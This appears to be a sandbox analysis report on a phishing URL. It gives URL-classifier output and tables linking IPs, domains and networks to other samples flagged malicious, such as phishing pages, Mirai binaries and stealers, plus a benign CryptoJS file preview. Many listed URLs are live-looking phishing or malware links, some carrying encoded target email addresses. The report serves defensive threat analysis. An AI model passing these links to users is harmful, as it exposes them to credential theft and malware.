Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.238, 173.194.222.84, 172.217.17.46, 172.217.17.42, 172.217.19.170, 172.217.19.234, 142.250.181.74, 142.250.181.106, 172.217.17.74, 172.217.19.202, 142.250.181.138, 2.22.50.131, 192.229.221.95, 2.22.50.144, 23.206.97.11, 152.199.19.160, 23.32.238.226, 23.32.238.218, 23.37.182.33, 23.32.238.234, 23.32.238.200, 23.218.209.163, 172.217.17.35, 104.121.5.198, 23.218.208.109, 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): assets.onestore.ms.edgekey.net, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, a1449.dscg2.akamai.net, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, mscomajax.vo.msecnd.net, ocsp.digicert.com, redirector.gvt1.com, update.googleapis.com, img-prod-cms-rt-microsoft-com.akamaized.net, a1778.g2.akamai.net, optimizationguide-pa.googleapis.com, e10583.dspg.akamaiedge.net, clients1.google.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, cs22.wpc.v0cdn.net, ctldl.windowsupdate.com, statics-marketingsites-wcus-ms-com.akamaized.net, assets.onestore.ms.akadns.net, fe3cr.delivery.mp.microsoft.com, c-s.cms.ms.akadns.net, edgedl.me.gvt1.com, c.s-microsoft.com-c.edgekey.net, e13678.dscg.akamaiedge.net, clients.l.google.com, az725175.vo.msecnd.net, www.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{"typosquatting":false, "unusual_query_string":false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address":false, "known_domain":true, "brand_spoofing_attempt":false, "third_party_hosting":false}
URL: https://microsoft.com
URL: https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs= Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs= Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs= Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs= Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs= Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://www.microsoft.com/en-us/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook?deeplink=%2fowa%2f&sdf=0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "please click this link", "prominent_button_name": "United States English Microsoft Homepage", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs= Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://www.microsoft.com/en-us/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook?deeplink=%2fowa%2f&sdf=0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "please click this link", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://www.microsoft.com/en-us/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook?deeplink=%2fowa%2f&sdf=0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://www.microsoft.com/en-us/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook?deeplink=%2fowa%2f&sdf=0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
40.99.70.226	https://protect.checkpoint.com/v2/r01/___https:/vlp6cm34.r.us-east-1.awstrack.me/Q5dmyyux:e7Ke7Kjrfnq.ynintwjuqD.htr7Kh7KjOBJBJLTmXFRFSIYBSOlvWZ1QLgoUfHylhY/JnF_riAUpCWczNA0yO_jaB~oG6AYM23pBoyDNMJ-PJR-NmPFsN~VgZA/PF0HUyICotYzOGFnKvZNBMhC~KfYclayEc_La~ccZq7wY-S_IKBLwx/KWAAv8MVfzRwNM6LCN8Jigf~80C6gkuabRjmLM--7qPAcOAlUFFI__5pCS9Bd6d565556c8b~/hi595-9hb~3gh-a~bg-9bgb-ci5/-b9jf76k5b9g~-555555do29l0Y3hHjFJM3POpxyJsMjDY~5=957___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOmNkMzFiOWRiNjRlNzYwZWExOWZkZjZlZWU4YmI5NjkyOjc6NjQxYjozOTM5M2Y5MjlmZWNkMGUzMGYzMjUxMGFiZDQ0YjU2Mzg5ODdlNDNlNTAyN2VlYjBmMjQxZjc3Mjg5OGNiMWQxOmg6VDpU%3E	Get hash	malicious	Unknown	Browse
104.18.94.41	https://vcsfi.kidsavancados.com/	Get hash	malicious	Captcha Phish	Browse
	http://abercombie.com	Get hash	malicious	Unknown	Browse
	https://zfrmz.com/wE0Jw9HNvGeKZ1fn5cBU	Get hash	malicious	Unknown	Browse
	ExternalREMITTANCE ACH SCHEDULED 1210241424bec0c449d38092c0dbd844252d73 (24.0 KB).msg	Get hash	malicious	Unknown	Browse
	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	Get hash	malicious	Unknown	Browse
	attachDocx.docx	Get hash	malicious	Unknown	Browse
	http://xn--gmq700hb9ir4byxw.shop/bnBkL2ViZml0c2JwY0F7Zm1mdy9idWp0cHMkbHYvcGQvem1xanVtYnNmZC9xbmJ3MDA7dHF1dWk	Get hash	malicious	ReCaptcha Phish	Browse
	https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1LekV6Sm1aek1UTW1aV1ZpTVRNbVJUUW1SVFFtUlRRbVJUUW1SVFFtUlRRbVJEUW1NVE1tSzBjekpqRXpKakV6SmtZMEpqTXpKa1UwSmpFelkyczJSR054UjFoamIwTkdaWHRYU0dWemVtZHNkSHBtYVdkdWMydGxhVFF6SmtjekptWnpSek1tWldSSE15WjRjRzlzTG0xdFpuZ3ZSek1tYUhOd0wyWnRZbTl3YW50aWIzTm1kVzlxYjJadVlrY3pKa2N6SmtJMEpuUnhkWFZwUlRRbWJYTjJRelFtTXpNekprVTBKblZ2Wm5WdmNHUXhNeVl6TXlacGRHWnpaMlp6TXpNbVJUUW1kMnAyY21ZdWNYVjFhVEV6Sm1KMVptNUVOQ1l4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1l6TXlZNUxrZFZWak16SmtVMEpuVm1kSE5pYVdReE15WmlkV1p1UkRRbU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbVpXSm1hVVEwSmtJeEprWTBKbTF1ZFdsRU5DWkNNU1pHTkNadlluRjBSek1tUkRRbVpHczNhRnBXUkRRbWRIczFUVVUwSmt4WWJYZ3hUMUZuWkZoUVdYTjdOWGRIT1h0UlJUWW1RMDlHTkNZek15WjFlV1oxTG05bVpXVnFhVE16SmtVMEpuUjBZbTFrTVRNbWIySnhkRVEwSmtJeEpnPT0=	Get hash	malicious	HTMLPhisher	Browse
	https://zfrmz.com/wE0Jw9HNvGeKZ1fn5cBU	Get hash	malicious	Unknown	Browse
	https://maya-lopez.filemail.com/t/BLFGBJSQ	Get hash	malicious	HTMLPhisher	Browse
151.101.66.137	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://site9615380.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js
	http://grandprairie-water-damage-restoration.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	2023121142000021ki01kvjs.html	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-latest.min.js
151.101.194.137	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://facebooksecurity.blogspot.pe/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://zfrmz.com/wE0Jw9HNvGeKZ1fn5cBU	Get hash	malicious	Unknown	Browse	104.17.24.14
	ExternalREMITTANCE ACH SCHEDULED 1210241424bec0c449d38092c0dbd844252d73 (24.0 KB).msg	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://t.ly/8cSDx	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html	Get hash	malicious	CAPTCHA Scam ClickFix, LummaC Stealer	Browse	104.17.24.14
	https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==	Get hash	malicious	Unknown	Browse	104.17.24.14
	Valutazione della sicurezza IT - Azione urgente richiesta.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://reddsuth.outfitsrl.it/?46525SU=4TI90K00D	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://xxx.cloudlawservices.com/fROBJ/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
MRS-efz.ms-acdc.office.com	https://protect.checkpoint.com/v2/r01/___https:/vlp6cm34.r.us-east-1.awstrack.me/Q5dmyyux:e7Ke7Kjrfnq.ynintwjuqD.htr7Kh7KjOBJBJLTmXFRFSIYBSOlvWZ1QLgoUfHylhY/JnF_riAUpCWczNA0yO_jaB~oG6AYM23pBoyDNMJ-PJR-NmPFsN~VgZA/PF0HUyICotYzOGFnKvZNBMhC~KfYclayEc_La~ccZq7wY-S_IKBLwx/KWAAv8MVfzRwNM6LCN8Jigf~80C6gkuabRjmLM--7qPAcOAlUFFI__5pCS9Bd6d565556c8b~/hi595-9hb~3gh-a~bg-9bgb-ci5/-b9jf76k5b9g~-555555do29l0Y3hHjFJM3POpxyJsMjDY~5=957___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOmNkMzFiOWRiNjRlNzYwZWExOWZkZjZlZWU4YmI5NjkyOjc6NjQxYjozOTM5M2Y5MjlmZWNkMGUzMGYzMjUxMGFiZDQ0YjU2Mzg5ODdlNDNlNTAyN2VlYjBmMjQxZjc3Mjg5OGNiMWQxOmg6VDpU%3E	Get hash	malicious	Unknown	Browse	52.98.200.242
	https://fspspartnerscoza-my.sharepoint.com/:li:/g/personal/marius_fsps-partners_co_za/EyM8LqUnruxJqzXclvfX1UcBxJkUikKNKWmf15Y8WTygEA?e=BgI5av	Get hash	malicious	Unknown	Browse	52.98.200.130
	https://www.google.com/url?sa=https://r20.rs6.net/tns.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/d7TO.ifvxdvrhe.ru%2FDflmD%2F	Get hash	malicious	Unknown	Browse	40.101.92.18
ooc-g2.tm-4.office.com	sjoslin@odeonuk.com_print.svg	Get hash	malicious	Unknown	Browse	52.98.61.50
	https://zfrmz.com/wE0Jw9HNvGeKZ1fn5cBU	Get hash	malicious	Unknown	Browse	52.98.32.2
	https://docs.google.com/presentation/d/e/2PACX-1vQdSuwONgWFnuoaK9jWkn4a4T1fFD4ixA3V2X7f5aWnD4sHxk2b10z2j2TMxkq3G15FQX3bbwReJ2PF/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	52.98.61.50
	Sweet Group.eml	Get hash	malicious	Unknown	Browse	40.99.68.34
	https://tippfloorcovering-my.sharepoint.com/:f:/g/personal/inderjeet_tippfloor_com/EpEIzIGDzrlMs2z8rWgki5MBO5-d64iEaOqqeF3ulFqTiw?e=T39wgl	Get hash	malicious	Unknown	Browse	52.98.95.210
	https://forms.zohopublic.com/volt1g1/form/CompleteVehicleAccessoriesLtd/formperma/DjGG5qUda3jrtGBWWHgY7RiBMK57TQ9IEa34k6QF6G0	Get hash	malicious	HTMLPhisher	Browse	52.98.61.34
	https://trinasolarus-my.sharepoint.com/:f:/g/personal/matt_hutchison_trinasolar_com/EuTm6V8CKxFPmV0-8tDYkU8B7bgg8BNpE1Urptg3NNJsZw?e=bQub2M	Get hash	malicious	Unknown	Browse	40.99.70.194
	letter_olivia.law_mercerhole.co.uk.pdf	Get hash	malicious	HTMLPhisher	Browse	40.99.70.178
	QuarantineMessage (1).zip	Get hash	malicious	HTMLPhisher	Browse	40.99.68.34
	https://protect.checkpoint.com/v2/r01/___https:/vlp6cm34.r.us-east-1.awstrack.me/Q5dmyyux:e7Ke7Kjrfnq.ynintwjuqD.htr7Kh7KjOBJBJLTmXFRFSIYBSOlvWZ1QLgoUfHylhY/JnF_riAUpCWczNA0yO_jaB~oG6AYM23pBoyDNMJ-PJR-NmPFsN~VgZA/PF0HUyICotYzOGFnKvZNBMhC~KfYclayEc_La~ccZq7wY-S_IKBLwx/KWAAv8MVfzRwNM6LCN8Jigf~80C6gkuabRjmLM--7qPAcOAlUFFI__5pCS9Bd6d565556c8b~/hi595-9hb~3gh-a~bg-9bgb-ci5/-b9jf76k5b9g~-555555do29l0Y3hHjFJM3POpxyJsMjDY~5=957___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOmNkMzFiOWRiNjRlNzYwZWExOWZkZjZlZWU4YmI5NjkyOjc6NjQxYjozOTM5M2Y5MjlmZWNkMGUzMGYzMjUxMGFiZDQ0YjU2Mzg5ODdlNDNlNTAyN2VlYjBmMjQxZjc3Mjg5OGNiMWQxOmg6VDpU%3E	Get hash	malicious	Unknown	Browse	40.99.70.226
code.jquery.com	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://cbthz04.na1.hs-sales-engage.com/Ctc/WX+23284/cbtHZ04/JlY2-6qcW95jsWP6lZ3mVW5xSkdC387hZlVGwpQc3P-q7wW4XgB4f44hCn1W3xYp5D6c1ttLW5FlJm432C9CFN1DvHyz7sRM3W1xbpQP3rjw57VdgQ8b5y5ncrN49hcz4pvY25W96rvby79_LjyW2hcbt-9lVY_PW61b5ZB17S04cW1Q1Z0m1qr_XnW4-Nvh_3JShBfW6ZlQ2B7-rTd7W5m54Pt4FXHVhN8f7LcVPRggDW6t0wZX12kCc8W8SWxd-65BfMKN89z7Dpr6bFRW62hqfp7800yqW6mjxRN41FPzSV9Cmrg5cL__SW36PjDN1zwkS6W21jP9H8v9kL6W995dJp10hcCRVsGjCC5n0FZjN7sg51mKQ1rDW15tQ1c3HKBShW818lp-6tdDqnf2cjw2s04	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://vcsfi.kidsavancados.com/	Get hash	malicious	Captcha Phish	Browse	151.101.130.137
	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSLMas8wKe7Ih4zqBiyHkarn0j5lOr9uX2Ipi5t6mu5SV-2B1JsyP5-2FhfNtTtQOlKj0flyS3vwLeKaJ6ckzVjuZims-3DLeyB_UNbDpVWBvKTmUslwem1E0EC2Cp68hMzvjQfllUT9E4DZqDf2uiRmAk3QSMceJiv-2FShXGXSXiT9Fl37dFQYscKLxEMcTJj4tm5gMav6Ov9aTBg62vcUAgkYbCAf46MpAyc7W7GFqvL6adNxNCTlmXTIiiRHR0fGeBxBsxNA5VbYoJQJb-2FJYi0QkLgjAoVYrRvTi1dn7pPo7PbeQWMcs70s7UFE7WeCgk9rDpKP4binyuu0CEbckceaS6ycGVUXPi2325g7v8hitus3ay9MICEoPWHxYePXARIxPiq-2FS9xmhqxVG-2BsRc9-2BU2VqX-2BZB9nYYuSKeNDIvkVaXKl7x-2FFSxF7xXa4BaT30eg9SUGZbRvZ8-3D#C?email=test@test.com	Get hash	malicious	Captcha Phish	Browse	151.101.194.137
	http://abercombie.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://webradiojaguar.net/FNB-POP.pdf	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://zfrmz.com/wE0Jw9HNvGeKZ1fn5cBU	Get hash	malicious	Unknown	Browse	151.101.66.137
	ExternalREMITTANCE ACH SCHEDULED 1210241424bec0c449d38092c0dbd844252d73 (24.0 KB).msg	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://cgd-assinar.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	Rep_ort2024Dec9.pdf	Get hash	malicious	Captcha Phish	Browse	151.101.130.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Mozi.m.elf	Get hash	malicious	Mirai	Browse	20.21.184.63
	http://prntbl.concejomunicipaldechinu.gov.co	Get hash	malicious	Unknown	Browse	150.171.27.10
	Josho.spc.elf	Get hash	malicious	Unknown	Browse	159.27.210.150
	Josho.sh4.elf	Get hash	malicious	Unknown	Browse	13.80.175.232
	Josho.ppc.elf	Get hash	malicious	Unknown	Browse	20.187.1.25
	https://0388net.cc/000-3399/0utlook098/VdPCnDwL/index.php?login=	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	hax.spc.elf	Get hash	malicious	Mirai	Browse	52.96.194.19
	hax.arm7.elf	Get hash	malicious	Mirai	Browse	20.86.86.0
	hax.mpsl.elf	Get hash	malicious	Mirai	Browse	40.99.168.20
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	204.79.197.237
CLOUDFLARENETUS	http://dcr0eadbm64ph.cloudfront.net/IDCVt99WXiQU.exe	Get hash	malicious	Poisonivy	Browse	172.67.26.92
	Mozi.m.elf	Get hash	malicious	Mirai	Browse	172.71.119.218
	EbXj93v3bO.exe	Get hash	malicious	Stealc	Browse	172.67.179.207
	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	104.21.18.132
	https://cbthz04.na1.hs-sales-engage.com/Ctc/WX+23284/cbtHZ04/JlY2-6qcW95jsWP6lZ3mVW5xSkdC387hZlVGwpQc3P-q7wW4XgB4f44hCn1W3xYp5D6c1ttLW5FlJm432C9CFN1DvHyz7sRM3W1xbpQP3rjw57VdgQ8b5y5ncrN49hcz4pvY25W96rvby79_LjyW2hcbt-9lVY_PW61b5ZB17S04cW1Q1Z0m1qr_XnW4-Nvh_3JShBfW6ZlQ2B7-rTd7W5m54Pt4FXHVhN8f7LcVPRggDW6t0wZX12kCc8W8SWxd-65BfMKN89z7Dpr6bFRW62hqfp7800yqW6mjxRN41FPzSV9Cmrg5cL__SW36PjDN1zwkS6W21jP9H8v9kL6W995dJp10hcCRVsGjCC5n0FZjN7sg51mKQ1rDW15tQ1c3HKBShW818lp-6tdDqnf2cjw2s04	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://on-chainevm.pages.dev	Get hash	malicious	HTMLPhisher	Browse	104.16.79.73
	https://vcsfi.kidsavancados.com/	Get hash	malicious	Captcha Phish	Browse	104.21.9.144
	file.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	http://prntbl.concejomunicipaldechinu.gov.co	Get hash	malicious	Unknown	Browse	104.26.0.200
FASTLYUS	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://cbthz04.na1.hs-sales-engage.com/Ctc/WX+23284/cbtHZ04/JlY2-6qcW95jsWP6lZ3mVW5xSkdC387hZlVGwpQc3P-q7wW4XgB4f44hCn1W3xYp5D6c1ttLW5FlJm432C9CFN1DvHyz7sRM3W1xbpQP3rjw57VdgQ8b5y5ncrN49hcz4pvY25W96rvby79_LjyW2hcbt-9lVY_PW61b5ZB17S04cW1Q1Z0m1qr_XnW4-Nvh_3JShBfW6ZlQ2B7-rTd7W5m54Pt4FXHVhN8f7LcVPRggDW6t0wZX12kCc8W8SWxd-65BfMKN89z7Dpr6bFRW62hqfp7800yqW6mjxRN41FPzSV9Cmrg5cL__SW36PjDN1zwkS6W21jP9H8v9kL6W995dJp10hcCRVsGjCC5n0FZjN7sg51mKQ1rDW15tQ1c3HKBShW818lp-6tdDqnf2cjw2s04	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://vcsfi.kidsavancados.com/	Get hash	malicious	Captcha Phish	Browse	151.101.66.137
	http://prntbl.concejomunicipaldechinu.gov.co	Get hash	malicious	Unknown	Browse	151.101.64.84
	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSLMas8wKe7Ih4zqBiyHkarn0j5lOr9uX2Ipi5t6mu5SV-2B1JsyP5-2FhfNtTtQOlKj0flyS3vwLeKaJ6ckzVjuZims-3DLeyB_UNbDpVWBvKTmUslwem1E0EC2Cp68hMzvjQfllUT9E4DZqDf2uiRmAk3QSMceJiv-2FShXGXSXiT9Fl37dFQYscKLxEMcTJj4tm5gMav6Ov9aTBg62vcUAgkYbCAf46MpAyc7W7GFqvL6adNxNCTlmXTIiiRHR0fGeBxBsxNA5VbYoJQJb-2FJYi0QkLgjAoVYrRvTi1dn7pPo7PbeQWMcs70s7UFE7WeCgk9rDpKP4binyuu0CEbckceaS6ycGVUXPi2325g7v8hitus3ay9MICEoPWHxYePXARIxPiq-2FS9xmhqxVG-2BsRc9-2BU2VqX-2BZB9nYYuSKeNDIvkVaXKl7x-2FFSxF7xXa4BaT30eg9SUGZbRvZ8-3D#C?email=test@test.com	Get hash	malicious	Captcha Phish	Browse	151.101.194.137
	http://abercombie.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://listafrica.org/Receipt.html	Get hash	malicious	WinSearchAbuse	Browse	199.232.210.172
	https://github.com/Matty77o/malware-samples-m-h/blob/main/TheTrueFriend.exe	Get hash	malicious	Unknown	Browse	185.199.110.154
	https://wetransfer.com/downloads/a83584fea59b11ef1e94d36869e8790020241209234540/89744b9472f9ce1b5e3b4ada79f2184c20241209234540/7041ff?t_exp=1734047140&t_lsid=42d44d78-6d8f-48db-8db5-5efa0c86786d&t_network=email&t_rid=ZW1haWx8Njc0ZjQ5YTNiNjM1NTFjNmY2NTg0N2Zj&t_s=download_link&t_ts=1733787940&utm_campaign=TRN_TDL_01&utm_source=sendgrid&utm_medium=email&trk=TRN_TDL_01	Get hash	malicious	Unknown	Browse	151.101.65.229
	https://webradiojaguar.net/FNB-POP.pdf	Get hash	malicious	Unknown	Browse	151.101.194.137

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
